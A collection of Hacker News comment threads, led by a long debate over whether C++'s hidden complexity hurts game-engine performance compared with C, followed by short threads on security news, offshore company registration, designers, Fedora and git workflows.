"pile_set_name": "HackerNews"
} |
The Hidden Cost of C++ - groby_b
http://www.rachelslabnotes.com/2009/10/the-hidden-cost-of-c/
======
dkarl
The argument boils down to the fact that C++ can express more in a single line
of code than C can.
_a = func(b,c);_
....
_Is it a function call, a member function call, or is it an anonymous
constructor? Are b and c implicitly invoking copy constructors for other
classes as part of type coercion? Is that a normal assignment, or an
assignment operator? Is there a cast operator involved?_
If it's such a complicated expression, then the equivalent C code would be
correspondingly large and hard to understand, and it would be just as
complicated to figure out its cost. The not-so-hidden cost of C is that even
simple things end up being many, many lines of code. C++ was invented because
certain kinds of C programs -- programs that were _already being written in C_
\-- were painfully verbose to express and complicated to change.
If writing your code in C would be simple and clear, then you would have to be
stupid to write it as complex, obscure C++. When your C++ code gets complex
and you start banging your head against a wall, imagine re-expressing it in C.
If the result would be an improvement, then you screwed up. If you blame C++
for screwing up, then you're a language feature junkie. Admit it and check
yourself into rehab.
_That is the hidden cost. The mental model for a simple function call became
incredibly large and complex, and every function call is potentially as
complex. Which makes reasoning about performance a rather hard thing to do....
All that translates ultimately into either worse performance or longer
development time. Neither one is something you like to hear about._
I don't know how it is a "hidden cost," because it's quite well understood
that any reasonably expressive language can say more in a single line of code
than C. Anyway, the size of the mental model of your _program_ is what you
should be worried about. C++ doesn't give you worse performance or longer
development time. It gives you more choices for how you express your program.
It means more _different_ problems, because you can write C-style code and
have C-style problems, or you can use the possibilities C++ offers and have
different problems. If you already know that the choices forced on you by C
are usually the right ones for your domain, then by all means apply that
knowledge to how you write C++. For instance:
_Worse, it makes profiling harder than necessary. All the type coercions that
happen at the API level will show up as separate functions, not attributed to
the callee, but the caller._
If you want them attributed to the callee, it's pretty simple. Do the
coercions in the callee, just like you would have in C.
~~~
groby_b
Your counterargument boils down to "use C instead". That is exactly what I am
currently advocating.
I don't blame C++ for screwing up - I blame it for being an ill-designed
language that makes it _easy_ to screw up.
Any of the high-level features of C++ are well-implemented in any number of
decent languages that don't obfuscate your code and incur horrible link times.
And my argument (for game development) is that C++ is indeed the wrong
language for the domain. In fact, I'd argue it's wrong for most, if not all
domains. And I'm not exactly alone - I can't recall any prominent figure that
actually thinks C++ is a decent language, except Bjarne Stroustrup. (Correct
me if I'm wrong - I'd love to hear about it!)
<blockquote> If you want them attributed to the callee, it's pretty simple. Do
the coercions in the callee, just like you would have in C. </blockquote>
The issue is that in many instances, I own the caller, but not the callee. And
the person owning the callee can _unintentionally_ make my code perform worse
by simply changing the API. Or adding a destructor.
~~~
dkarl
No, my counterargument is to use the features of C++ when they help and not
when they hurt. I claim that C++ doesn't hurt C programmers. It just brings
out their deficiencies in different ways. For instance, embracing features you
don't understand and then complaining about the consequences is stupid, and
stupid people don't write good code in any language. You understand C++ well
enough to know the pros and cons (or at least the cons) of various C++
language features, but you complain that your fellow programmers might not:
_The issue is that in many instances, I own the caller, but not the callee.
And the person owning the callee can unintentionally make my code perform
worse by simply changing the API. Or adding a destructor._
This is just bad programming practice on their part. The performance cost of a
destructor shouldn't be a surprise to the person who writes it. If someone is
messing with the performance of types you use or removing functions(+) you
call without consulting you and without themselves taking responsibility for
calls to that functionality, then obscure features of C++ is just one of the
many ways they're going to screw you on a regular basis. How would those
programmers screw you in C? I don't know, but I know they would.
Nobody who knows C++ well enough to use it effectively would call it a
"decent" language in the sense of "not obscene," but it is definitely "decent"
in the sense of "adequate." It's easiest to define C++'s deficiencies with
respect to other languages (for instance, memory management in C++ is much
more intrusive in source code than in Java) but comparing it to C is way too
simple. After all, the primary problem with C++ is that it doesn't remove any
of C's dangers; it just gives you better ways of abstracting them away in some
cases. The second problem with C++ is that it's extremely complicated and
takes a long time to learn. And that's it. Every other supposed misfeature of
C++ (relative to C) seems to stem from people hitting the second problem
without realizing it. In your case, your coworkers should be more conservative
about messing with things (such as defining expensive automatic type
conversion functions) when they don't understand the consequences (such as
those type conversions actually being invoked.)
(+) This is the most plausible explanation for different type conversions
suddenly being invoked. It could also happen by adding a function that invokes
a more expensive type conversion to a type that is more closely related to the
type declared by the caller, thus making the new function a better match than
the old one, but it's unlikely that a conversion between two types that are
more closely related would actually be more expensive.
~~~
groby_b
_No, my counterargument is to use the features of C++ when they help and not
when they hurt._
That was Stroustrups reasoning: "Only pay the cost when you use it". In
retrospect, believe that that's a bad choice for language design, because
there's a good chance somebody will use a feature without fully understanding
the ramifications it has over the entire code base.
C opts for the opposite and uses annotation to treat certain code segments as
"special" and make them faster - "inline", and (in the distant past)
"register" come to mind.
_(or at least the cons)_
I believe I do get the pros as well, at least to some extent. I've been using
it since CFront came out ;) And I'd still advocate it for use in a small team
(<5 people?) of experienced programmers - you _can_ make it sing.
But gamedev engineering teams are at least 15+ people, with the occasionally
less-experienced ones thrown into the mix. C++ is, in a sense, like a
professional power tool. It sure can get stuff done, but the wrong person uses
it and its a blood bath, and it's not appropriate for single small home
repairs. (Gah. Bad analogy, but I can't come up with a better one right now)
_This is just bad programming practice on their part. The performance cost of
a destructor shouldn't be a surprise to the person who writes it_
Possibly. I'd argue that it's hard to always keep all performance
ramifications in mind. But let's for a moment say it's indeed simply bad
programming practice - the issue that makes this a problem is that _my_ code
pays the cost, not the offending code. Which is a rather indirect.
C++ changes often have tendrils all through the system. It is easy to make
inadvertent mistakes.
* but it is definitely "decent" in the sense of "adequate.*
It clearly gets the job done, yes. We are shipping games occasionally, after
all. I'm looking for better ways to ship games, and I think that abandoning
C++ might bring gains.
_The second problem with C++ is that it's extremely complicated and takes a
long time to learn._
That's what my hidden cost is referring to - C++'s complexity makes it hard to
understand. You certainly _can_ write code that performs well in C++, but it
is arguably harder to get it right than C.
I like to think there's a better solution than either one hiding somewhere,
but I haven't found it yet.
------
JoeAltmaier
I fixed a single line of code that drove our embedded processor to 50% cpu -
it called 5 ctor/dtors. Changing it to a ref arg with a ref return, and
dropped to under 10%. And yes, class defs had to be redeclared, the line of
code was unchanged. Very indirect, utterly beyond the original authors
comprehension.
~~~
hazzen
Do you know how to fix almost every one of these cases for good? Just don't
allow implicit copying of your classes. Problem solved. If someone tries to
write that horrible code, they can't.
This is more a question of knowing what you are doing and less of C++ sucking.
C doesn't solve this - you still have to know what you are doing there or you
end up shooting yourself in the foot. I much prefer having an interface with
virtual methods to a struct with function pointers.
~~~
JoeAltmaier
Of course! However the original author of the offending code didn't know to
define private X(X&), so had the problem. C++ is a power saw; you can cut off
your hand.
------
icefox
And the hidden cost of using Java is that there is a JVM! These are only
hidden to developers who don't really know C++. If you have virtual functions
everywhere and have api that encourages copy or anonymous constructors you get
what you asked for. And any profiler worth its salt should be able to show you
what is really happening so you can quickly fix it.
For a game shop who is worried about performance there are many little things
you can have your developers do to prevent the compiler from doing many of
these things and you should have it be part of your normal API reviews to make
sure that developers follow them. A simple example
class Box { public: Box(int x); };
class Foo { public: Foo(Box a) };
... Foo(1); ...
Pop Quiz: How would you change Foo (or the whole api) to cause Foo(1) to cause
an error?
~~~
kmavm
Pop Quiz: Why should I clutter my brain with these little guessing games about
what the compiler is doing? And why should these pop quizzes slow down my
group's code reviews? There are, after all, languages out there that do not
force this insanity on us.
The alternative for performance-critical applications is not Java, but C. C
remains surprisingly tough competition after all these years for those rare
pieces of software where programmer time is cheap compared to hardware
resources. Having had non-trivial experience of both languages, _reasoning_
about the performance of a C program is much, much easier than reasoning about
non-trivial C++ programs' performance. Guesses based on local code inspection
have an order of magnitude less uncertainty attached to them, which is
basically what Rachel is saying here.
~~~
blub
I am surprised to see that so many programmers still like to reason and guess
what the performance of their program is instead of profiling it...
And hearing C proposed as an alternative to C++ is mind boggling. I don't want
to match malloc/free calls, strcat strings together or realloc pointers. I
don't want to declare a bunch o function pointers in a struct and call it OOP.
I don't want to use macros because C99 has poor adoption rate and C89 doesn't
have inline. I don't want to watch the compiler blissfully convert unrelated
types to one another just because it can. I don't want to pass types around as
void* and lose any useful type information I might have had. I don't want to
fumble with return codes.
And in C++ I don't have to. I can use Qt, the STL and Boost and be very
productive. Telling me to program in C is not even funny.
~~~
groby_b
I propose a _lower_ level than C++ for the kernel, and a _higher_ level for
the rest.
C++ is simply at the wrong abstraction level.
Oh, and I don't _want_ to manually track resources myself, either. But guess
what, somebody has to do. And on a game console, that's you. There's not much
of an OS to speak of.
You did notice I was talking about game development, right? ;)
~~~
blub
My reply was not targeted at you and I don't do game programming.
Anyway:
* smart pointers don't need an OS.
* for me, C++ is at the exactly right abstraction level to allow me to use only C++ instead of "C++ + other language" or "other language and C for speed". Most C + HLL proponents underestimate the logistics overhead of using multiple programming languages.
~~~
groby_b
_Most C + HLL proponents underestimate the logistics overhead of using
multiple programming languages._
I'll concede that as a valid concern, especially for smaller projects where
everybody touches many areas of the code. As projects grow, a separation
becomes easier.
Add to that the fact that most games need scripting support anyways, and
you'll see that the logistics overhead is at least not much different.
------
st3fan
Wow it is C++ bashing season again it seems.
Yes you have to know what you are doing in C++. But this is not different in
other languages. Understanding and optimizing code is a touch discipline. No
matter what language.
There is also another side to this story. C++ can absolutely generate highly
efficient code. Code that performs much better than C equivalents.
For example, I've looked a lot at generated (iPhone/ARM) code for cases where
(function) templates are used and C++ wins most of the time. Doing compile-
time configuration of code is usually much more efficient than having runtime-
configured code. By using templates and inline functions the compiler can do
some seriously cool performance tricks.
Sire, there may be more code (bigger text segment) but that is a small
sacrifice for what you gain in speed. Specially these days where a 8MB fart
app is easily downloaded over a 3G connection without hesitation.
~~~
groby_b
Yes, you _can_ use C++ to do amazing things. In large-scale projects, that
usually backfires, though, unless you contain the "magic", because
_interactions_ in C++ are harder to predict.
The problem with C++ is not that you have to know what you are doing - you
also have to know what everybody else is doing.
And the "small sacrifice" of a bigger text segment is a big one in this
particular domain. We only have 512M available, and a tremendous chunk of that
is eaten up by graphics. An executable seriously exceeding ~20MB would spell
trouble.
And I'd argue that AAA games are slightly more complex than a fart app ;)
~~~
psyklic
When I code in a team, we don't just write one big mass of C++ and _hope_ that
all the interactions work out okay!
Instead, we follow modular programming practices. If some interactions are too
slow, we know who didn't optimize his section and we kick the problem back to
him.
~~~
groby_b
That would be nice. Except that - again, for performance reasons - we often
have to break the boundaries between modules. Most game engines are a tangled
web, since many parts are talking to many other parts. (I think there are ways
around that, and there will certainly be a post on it. But that's the way
things work right now)
So it's not always that easy to just find a guilty party and blame them.
------
psyklic
The author is worried about _optimizing_. He should know that in high-
performance applications, you should just write the code _then_ profile it. We
all know that C++ is fast; the real question the author should be asking is
whether C or C++ can more quickly express ideas/is more maintainable/etc.
This post about not knowing how a function is called is really splitting
hairs, bordering on irrelevant imo -- sure, it can affect the time taken _to
call a function_ by ten times, but this is not a large performance hit at all
for 95% of your code, and even less since most high performance items are on
the GPU. If it ends up that it does affect performance in a critical area
(found via profiling), the author even suggested how it can easily be fixed.
I don't see what the big deal is. If you're a game programmer, change your
coding conventions so that you don't get into problems like this.
~~~
groby_b
She does know that you need to profile, TYVM. But ideally, you pay at least
cursory attention to performance even when you write the code. Writing code
with complete disregard to performance, saying "oh, the profiler will find it"
is not an acceptable choice.
You don't write sloppy code and argue that you can find bugs in the debugger,
either, do you?
And no, most high-performance items are not on the GPU. Most games are already
GPU-bound, so you want to take load off of it. (Also, with the arrival or LRB
et al., the GPU/CPU distinction becomes moot)
If those issues were irrelevant, I wouldn't care about them. There's one thing
I _do_ care about: Shipping high quality games, developed as fast as possible.
C++ hurts that goal.
And no, the 95%/5% rule does not hold true in game development. But don't
trust me - read, for example, Tim Sweeny, the guy behind the Unreal engine.
According to him, there are not hotspots. Another Unreal programmer:
<http://lambda-the-ultimate.org/node/1277#comment-14238>
"Dan Vogel, was fond of pointing out that UE2 had a basically flat profile"
_That_ is the big deal. In a flat profile, things like calling overhead
matter everywhere.
~~~
psyklic
Worrying about not knowing how functions are called on your first iteration is
such a moot point. Simple programming conventions (e.g. no multiple
inheritance) can eliminate this problem. Even if each function call does take
10x longer, I would argue that in 99% of the cases you wouldn't even notice
the difference, practically speaking.
_Shipping high quality games, developed as fast as possible._
If this is what you care about, then you should care about optimizing AFTER
you write the initial version and identify hot spots.
_You don't write sloppy code and argue that you can find bugs in the
debugger, either, do you?_
Sloppy code vs. "slow" code are vastly different. I would much much rather
have slow code, since 99% of the time it isn't even noticed by the user.
Hence, it was worth not thinking about how to improve it.
_most high-performance items are not on the GPU._
I agree that you want to take load off the GPU. However, CPU speed has not
been the limiting factor in games for a LONG time. In fact, in conferences
such as the GDC it is rarely discussed any longer, only in the context of
using more CPU if available for non-engine tasks such as AI.
_And no, the 95%/5% rule does not hold true in game development._
There is a big difference between what is essentially a graphics engine (you
reference the Unreal engine) and a video game. If you look at modern games, do
you think it is a waste that they are based on interpreted scripting
languages? They can do this because as I said above, CPU isn't as limiting a
factor as before.
~~~
groby_b
_Sloppy code vs. "slow" code are vastly different._
Not really. Some amount of up-front investment can avoid a lot of pain at the
end. Do I obsess about every single call? No, of course not - but I try to
avoid obvious performance issues.
While you _can_ optimize them after the fact, it's more time you're spending.
_CPU speed has not been the limiting factor in games for a LONG time_
Yes, actually, it is. It might not be _raw_ speed - we're talking cache misses
instead - but you still have to be careful with your resource usage.
_There is a big difference between what is essentially a graphics engine (you
reference the Unreal engine) and a video game_
Yes, and no. Unreal is more than a "graphics" engine - it's an entire game
engine. (There's way more than graphics there.) And CPU performance still is
discussed at GDC. See here, for example:
[http://www.scribd.com/doc/15118967/Hitting-60Hz-in-Unreal-
En...](http://www.scribd.com/doc/15118967/Hitting-60Hz-in-Unreal-Engine)
And the games built on top of it use some scripting. And often dive into C++
and even the engine itself to make the game actually perform well.
But that's exactly the model I'm advocating. Write the kernel in a low-level
language (preferrably not C++, for many reasons, some of them mentioned in my
post), and do the game logic in a scripting layer on top.
The faster you can get the kernel, the more resources you can devote to a
language that makes life much easier for the rest of the world.
So yes, I wasn't exact. When saying "game development", I was referring to
"engine development". The point still stands - I think C++ is inappropriate
for low-level tasks (too much "magic") as well as high-level tasks.
(Incredibly convoluted language. No, I'm not saying Stroustrup is a bad
designer. I'm saying the constraints he imposed on himself forced C++ to head
that direction. And design by committee helped.)
_If you look at modern games,_
I do. Every day. Intimately. I work on them. That's why this topic matters to
me. It'd be kind of stupid to complain about C++ usage in game development
without knowing about it ;)
------
acg
It always surprises me that some will seek to defend C++ when even its author
seems to admit that it is flawed. Many famous programmers have pointed to the
language's limitations. People use it because of pragmatism: it has what they
need for the APIs they want to use.
_If you think C++ is not overly complicated, just what is a protected
abstract virtual base pure virtual private destructor and when was the last
time you needed one?_ Tom Cargill
------
huhtenberg
There are constructors in C++. The water is wet, how sneaky of it.
You either know the code you are working with or you don't. C++ or not.
~~~
uriel
What he is pointing out is that C++ makes it harder to 'know the code you are
working with'.
~~~
huhtenberg
I understand the point, and I am saying it is a trivial one.
Calling func(x) in C may as well be causing x to be cloned or have some other
nasty side effects that are not immediately obvious from looking at the code.
Similarly how one should always keep in mind the existence of macros when
reading C code, one should also keep in mind the existence of constructors and
casting operators with C++. That's hardly the hidden cost.
It is easier to write messy or obscure code in C++, especially for a novice
programmer. But this has less to do with the language per se and more with
established coding practices within specific team. If there _is_ a hidden cost
to C++, it is the fact that it requires higher level of competence. Not that
it has constructors.
~~~
groby_b
The point is that, with a rational team, I can tell (roughly) what a function
is doing, based on the name. It's not going to be called 'dot_product' and
clone data passed in ;)
What I can't tell is how much extra code the compiler will generate at this
point, and that is the problem.
> If there is a hidden cost to C++, it is the fact that it requires higher
> level of competence. Not that it has constructors.
I didn't say the cost is in the constructors. They're a _symptom_ of the cost.
The cost is creating the mental model of your app.
Sure, if the entire team consisted of C++ superstars, we _might_ be able to
get away with this. Given the team size on current games, (and the fact that
superstars are rare) that's unlikely to be the case.
~~~
nuserame
If there's no enough "superstars", then perhaps your coding guidelines should
accommodate that so that the "mental model" of the app would be more
managaeble for the code monkeys.
~~~
groby_b
This is not a question of "code monkeys". It's simply a question of having
some programmers that are less experienced than others. And that's kind of
unavoidable if you ever want to hire new people...
| {
"pile_set_name": "HackerNews"
} |
Gitlab Security Mails - dewey
https://gist.github.com/dewey/050e0b7a818d0f76b959a058da4c5ee9
======
detaro
Probably not fake:
[https://news.ycombinator.com/item?id=11587416](https://news.ycombinator.com/item?id=11587416)
| {
"pile_set_name": "HackerNews"
} |
Spotify desktop app loaded viruses onto users PCs via advertising - ljf
http://bbc.co.uk/news/technology-12891182
======
JCB_K
I use Spotify on OSX, and interestingly enough some ads get blocked by
clicktoflash, which I use in Safari.
| {
"pile_set_name": "HackerNews"
} |
Google Chrome Market Share - nreece
http://farm5.static.flickr.com/4024/4499455073_a729acd621_o.png
======
melling
What's great is that Google is getting everyone upgraded to each new browser.
If only Microsoft could do that with IE, and Mozilla with Firefox.
Too bad Google isn't as effective with Android versions.
| {
"pile_set_name": "HackerNews"
} |
Easy guide to enabling two-factor authentication on your Google account - primesuspect
http://tech.icrontic.com/news/how-to-enable-two-factor-authentication-on-your-google-account/
======
sylviebarak
really helpful, thanks for this Icrontic.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Consulting firm in an offshore country? - enclin
I'm a software consultant with clients all over the world, living in not the most stable country.<p>I'd like to open a company in a more stable country (currently I'm operating as a sole proprietor in my home-country), and Belize/BVG/Panama seem to be both stable and very easy to get started with.<p>Are there any downsides in having my business registered in one of those countries? Would it put off clients? Which country would you recommend?
======
zhte415
Opening a company in many locations doesn't even require a trip. A non-
resident can open a UK legally limited liability company, for example, with no
trip and a single director (yourself).
What's a pain is the anti-money-laundering and related legislation related to
banking. Now, that only requires you to show your face once to a customer
relationship manager, but it needs to be in-person across the world.
I recommend first researching banking options, and can you, or example, check
with once of your local branches of a bank with a large global network,
someone like Citi, HSBC, Standard Chartered, something along the lines "I plan
to open a company in XXX country, can I do the KYC with you in my home
country?"
Now, the answer may be a bit technical, as there are various risk codes that
should be aligned between relationship manager and location of customer (you).
So try it with a few options. If a UK company doesn't work because you're in
central/south America, try an Argentine or whatever nearer location in the
same global region. Banks tend to split geographical location into North
America, Latin America, Europe/Middle East/Africa, and Asia Pacific, but
actual boundaries tend to vary a bit between institution. too. If you already
have an account with such a bank, that may make the in-person KYC unnecessary
too.
I'd recommend a country with a favourable tax regime, and a strong connection
to your country, meaning you'd be less likely to having any fund transfer
stopped (because of less red flags, again from banking policy).
------
JacobAldridge
Perhaps your biggest concern is 'Reputation Risk' \- will clients not want to
work with you, because the jurisdiction of your corporation looks strange or
suspicious. That could mean terrorism or tax evasion.
One option I have researched for me, but IANAL etc and have not yet taken
professional advice and executed this plan so there may be flaws I'm missing:
1) Establish a company in Hong Kong. This may require a trip, and several
thousand dollars. But HK has minimal reputation risk, good international
banking, and experience with remote owners.
2) Establish tax residency in Panama or similar. Again, experience with
expats, and apparently a beautiful country.
It sounds like you're not looking to change Residency, just establish a
Company. In that case, I would suggest researching Hong Kong. Be sure to
research banking as well as tax and corporations law (google Streber for a
good website), as some countries may make it easy to incorporate but difficult
to bank. Good luck!
~~~
himlion
What turned me off from Hong Kong so far is the mandatory yearly audit for
your limited which will cost $5000++ (USD, not HKD).
~~~
JacobAldridge
While I haven't explored specific costs, I agree it's definitely a situation
where the benefits have to outweigh the costs. For the OP, there's no point
doing this if it's not going to bring in more work; for others, it may be the
territorial-nature of the HK tax system that makes it worthwhile - I'd gladly
pay a $5Kpa auditing fee if it saved me $20,000 in tax compared to another
jurisdiction. (That's a key reason why I haven't pulled the trigger yet - my
personal tax residency is such that my HK entity would be a Controlled Foreign
Corporation, and those tax benefits wouldn't apply.)
| {
"pile_set_name": "HackerNews"
} |
Life Inside a Secret Chinese Bitcoin Mine (9 Min Video) - ogdoad
https://www.youtube.com/watch?v=K8kua5B5K3I
======
ogdoad
Setups like this completely invalidate any individual effort.
~~~
mkempe
Why completely? is there room for marginal profits at the individual level?
| {
"pile_set_name": "HackerNews"
} |
In Silicon Valley, designers emerge as rock stars - tinio
http://www.reuters.com/article/2012/04/13/us-designers-startup-idUSBRE83C0QG20120413
======
adrianhoward
From my perspective it isn't so much that designers are now "rock stars"
(whatever that may be), but that more and more organisations are finally
figuring out that their skills involve a lot more than just making something
look pretty.
You'll be amazed at the number of people who still have that opinion. Hell -
look at one of the subheadings used in the article "SCOUTING FOR ARTISTS" -
designer != art!
The other big issue is just the raw numbers. There are dramatically fewer
designers out there than developers - especially those who have a cross-
section of the skills that the average startup is looking for. It's a good
time to be a design generalist.
In fact, now that I think about it, some of the problems is that organisations
still have that view of "the designer". Hiring that _single_ person who is
going to solve all of their problems. Companies that wouldn't hesitate to hire
a DBA, a back-end dev and a front-end dev don't understand that they should be
hiring a visual designer _and_ an interaction designer (or whatever).
~~~
joelmaat
They haven't figured out a thing. This is just more hype, as was the frontend
engineer push of 2010/2011.. hopefully some designers/engineers can make out
well with all this attention, however. Preferably _talented_ ones.
~~~
adrianhoward
_This is just more hype_
As somebody who makes a chunk of their money from "designer" stuff (not visual
design, but user research, interaction design & user testing) I don't think it
is entirely hype.
Just like you get a lot more people now who get the difference between a
technical co-founder and "just hiring some developer", I'm encountering more
people who understand the value that design can bring to an organisation. The
change is by no means widespread, but there do seem to be more people who "get
it" than their used to be.
------
connor
I wonder how this shortage will be solved. There's some cool solutions coming
out in response to the dev shortage- for example, CodeYear. Perhaps similar
resources will emerge for training future designers?
But I'm not sure how effective similar online programs would be. From my
experience, teaching/learning design can be a lot more frustrating than
teaching/learning code. Perhaps it's because design gets a lot more subjective
at the advanced levels.
------
codeonfire
Developers hate this stuff. Popularity will never make software work better,
but apparently makes design better. In the past I felt angry that people could
build a 'sham' career based on image. But then I realized that people in
design have to do this because you can't really be a successful anonymous
designer like you can be a successful anonymous developer.
------
twiceaday
Seems to me like this is in part due to the ratio of designers to programmers
on most projects; it's much easier to stand out.
| {
"pile_set_name": "HackerNews"
} |
Google’s quantum computer just simulated a molecule for the first time - prateekj
http://www.sciencealert.com/google-s-quantum-computer-is-helping-us-understand-quantum-physics?utm_source=Facebook&utm_medium=Branded+Content&utm_campaign=ScienceDump
======
CarolineW
Perhaps, but this is not the first submission to HN of this story:
[https://hn.algolia.com/?query=quantum%20molecule&sort=byDate...](https://hn.algolia.com/?query=quantum%20molecule&sort=byDate&dateRange=all&type=story&storyText=false&prefix&page=0)
| {
"pile_set_name": "HackerNews"
} |
Lessons on Being a Success on Wall St., and Being a Casualty - mitmads
http://dealbook.nytimes.com/2013/04/01/lessons-on-being-a-success-on-wall-st-and-being-a-casualty
======
mitmads
"women need sponsors more than mentors. Mentors will offer advice and
guidance; sponsors will actually pull women’s careers along." !!!
| {
"pile_set_name": "HackerNews"
} |
Wireless Carriers Leave Millions of Android Phones Vulnerable to Hackers - iProject
http://www.wired.com/threatlevel/2013/02/carriers-fail-to-secure-phones/
======
nextparadigms
This wouldn't be that big of a problem if the carriers and manufacturers left
control over updates to Google.
~~~
juan_juarez
But they have to add their magic touch! I couldn't imagine using my phone
without T-Mobile having added all those applications I can't uninstall,
bookmarks I can't delete and advertisements in my visual voicemail
application.
| {
"pile_set_name": "HackerNews"
} |
Why large IT development projects are problematic - motters
http://www.cs.bham.ac.uk/research/projects/cogaff/misc/isoft-government-projects.html#problematic
======
oiuhyjtgfhjkl
They aren't - the authors are just using the wrong performance metrics.
The point of a large IT project is career advancement for all involved.
The customer managers get promoted or new jobs on the basis that they have
experience of managing a $$$ project. The greater the $$$, the more valuable
their experience.
The supplier gets $$$ in fees, the more $$$ the better obviously.
The project is paid for either by taxpayers (generally) or very large number
of shareholders/policy holders. Their individual contribution to the $$$
project is a few 0.01$s and so they are irrelevent.
It's not just IT - it's the reason that a metro line costing Bn$$$ or an 8
lane freeway bypass is always built in place of putting on a few extra buses.
| {
"pile_set_name": "HackerNews"
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Symantec and Trend Micro rumored to be 2 of the 3 hacked US AV companies - guardiangod
https://gizmodo.com/antivirus-makers-confirm-and-deny-getting-breached-afte-1834725136
======
voidmain0001
As Boston sang: "More than rumor!"
[https://www.bleepingcomputer.com/news/security/fxmsp-chat-
lo...](https://www.bleepingcomputer.com/news/security/fxmsp-chat-logs-reveal-
the-hacked-antivirus-vendors-avs-respond/)
| {
"pile_set_name": "HackerNews"
} |
ActiveState Moves Stackato Cloud Platform to Beta - jcasman
http://www.eweek.com/c/a/IT-Infrastructure/ActiveState-Moves-Stackato-Cloud-Platform-to-Beta-258507/
======
Pythondj
Getting ready to create my own Private PaaS with the Stackato Beta this
morning, looking forward to testing out the postgres support
------
cloudsurfer
Will test on vsphere!
| {
"pile_set_name": "HackerNews"
} |
McGrath: Proposal for a new Fedora Project - antileet
http://lwn.net/Articles/408052/
======
Klonoar
This totally freaked me out to see, both as a front-end specialist and someone
with the last name McGrath.
That said, I actually think it's a pretty slick idea. I've seen a lot of
different one-off efforts over in Ubuntu land surrounding this idea, but
nothing concrete ever seems to have formalized - perhaps Fedora could pull it
off?
------
shadowsun7
The proposal is shot down almost immediately in the comments:
_The really goofy thing is thinking that a browser is the best platform for
application development. It isn't. You're confusing a popular application with
its feature set, which are really two distinct things._
Also:
_The problem for Fedora/Gnome isn't HTML5, it's Android. Android has become
Google's desktop, development platform and distro. Where is my Gnome Mobile?
Where is my KDE Mobile? Where is my Gnome Mobile App Store? Where is my Fedora
Mobile distro for HTC devices?_
My first reaction to McGrath's post was confusion. HTML5 apps don't compete
with native applications, and I don't see how/why Fedora should shift focus to
respond to this trend.
~~~
Robin_Message
This is a good proposal. No-one is doing enough to compete with Google in the
web app arena. Where, for example, can I find an open-source e-mail client as
good as gmail?
As for comments like
_The really goofy thing is thinking that a browser is the best platform for
application development. It isn't._
That is _developer_ thinking. If you think that, go ask your mum or someone
who works in a restaurant what the best platform for applications is. _They
will not have an opinion_ (unless they are also a developer.) The only reason
not to support the browser is performance, and as the article says, that is
just getting better and better.
As to whether it is Fedora's place to compete here - it totally, utterly is.
As a provider of free software, no-one said they have to focus on one platform
or even only on providing a platform. Again, no-one in the real world cares
about platforms.
Fedora or Gnome producing an Android competitor, that really is laughable and
a bad idea. You did see how Google withdrew the Nexus after the total lack of
interest and carrier mistrust? And some Nokia stuff runs Linux - how's that
going for them I wonder? Phones are _hard_ and require the kind of UX work and
corporate hoop-jumping that open-source totally sucks at.
~~~
rwmj
_Where, for example, can I find an open-source e-mail client as good as
gmail?_
Mutt is far preferable to gmail (and I use both).
~~~
rwmj
Downvotes? It is a true statement that I use both, and I find mutt to be
better. If you think some feature of gmail is better then reply.
~~~
Robin_Message
With respect, the point of my comment was that _your opinion is irrelevant_ ,
so anyone agreeing with the thrust of my argument could well have down-voted
you (I did not.)
The point is not whether you or I think Mutt or gmail is better. The point is,
what do people use? Which platforms or programs are they using? Are the
alternatives realistic? Mutt is not a realistic alternative to gmail for the
following reasons I just thought up: You need a mail server, you have to use
the console, you have to install unix (or perl and cygwin.)
------
rbanffy
I think it makes sense.
I'd like to deploy a server and have as-good-as-Gmail webmail and as-good-as-
Google Docs shared collaboration. Even if it's a VM running on someone else's
cloud, it's my server image, with my data and I may want to take it anywhere I
see fit.
------
tzury
Isn't that what chrome OS is about to be?
~~~
callumjones
My understanding is the Chrome OS is basically just launching Chrome as the
browser and then your web apps are rendered inside that. McGrath's proposal is
that the apps themselves are written as special web apps but can run with
appearing inside the browser i.e. the OS is the browser and the graphics
system renders HTML apps
| {
"pile_set_name": "HackerNews"
} |
Rechner: A gesture based calculator - nchlswu
http://www.rechner-app.com/
======
aggarwalachal
Looks interesting.
Seems to me that the functions are pretty minimal right now. Would be nice to
see the complex functions getting mapped on the gestures. Otherwise, it is a
great step towards minimalism.
Also, looks like the UI was inspired from Metro somewhere in the thought
process of the app. Everything is flat with no gloss anywhere.
Let's see if this can start a trend towards this kind of apps.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: What are the best ways to get first 100 users for a powerful Slack Bot? - NidsBuilds
Just revamped and launched Scribe, an In-Slack Sales Bot designed to help you focus and scale your meaningful sales conversations. Looking for ideas on how I can get a good handful of users to try it out?<p>Goes without saying, would really appreciate it if at least a few of you awesome folks check it out. The idea is to get as much criticism as possible and iterate/improve before we launch on PH(third week of July<p>All help/tips are much appreciated :)
======
jakoblorz
I guess you could write a medium/blog post explaining the pain points you
tackle and why your bot relieves your customers off these points: google value
proposition canvas. Then try to get this post here on HN as well as Facebook,
Twitter dev.to whatever. You need to reach a broad audience
| {
"pile_set_name": "HackerNews"
} |
Are patent pools the solution to smartphone lawsuits? - vectorbunny
http://arstechnica.com/tech-policy/2012/10/are-patent-pools-the-solution-to-smartphone-lawsuits/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+arstechnica%2Findex+%28Ars+Technica+-+All+content%29
======
vectorbunny
A related and interesting talk given by Columbia Law School's Michael Heller:
<https://www.youtube.com/watch?v=9n89Ec3DFtk>
------
chris_wot
Just applied Betteridge's Law of Headlines to this article.
| {
"pile_set_name": "HackerNews"
} |
A Computer Science Degree DoesnaEURXt Hurt (Much) - bootload
http://www.leahculver.com/2007/05/30/a-computer-science-degree-doesnt-hurt-much/
======
jamesbritt
More or less content-free blog post.
~~~
bootload
_"... More or less content-free blog post ..."_
James, how?
I can see a couple of good messages here. The first, in a market where there
is a lack of lead developers. It shows one path, that one person took to get
the knowledge & tools needed to create a product. The second is the _"where
are all the chick developers? ... they can't handle, 'tech stuff', etc ..."_
needs to be put into proper context. They are around if you care to look &
seem to be doing an ok job ~ <http://pownce.com/>
| {
"pile_set_name": "HackerNews"
} |
Nice description of what a maintainers workflow looks like with git - bosky101
http://www.kernel.org/pub/software/scm/git/docs/howto/maintain-git.txt
======
bosky101
here are also a nice explanations of "pull vs fetch,merge"
<http://longair.net/blog/2009/04/16/git-fetch-and-merge/>
[http://blog.mikepearce.net/2010/05/18/the-difference-
between...](http://blog.mikepearce.net/2010/05/18/the-difference-between-git-
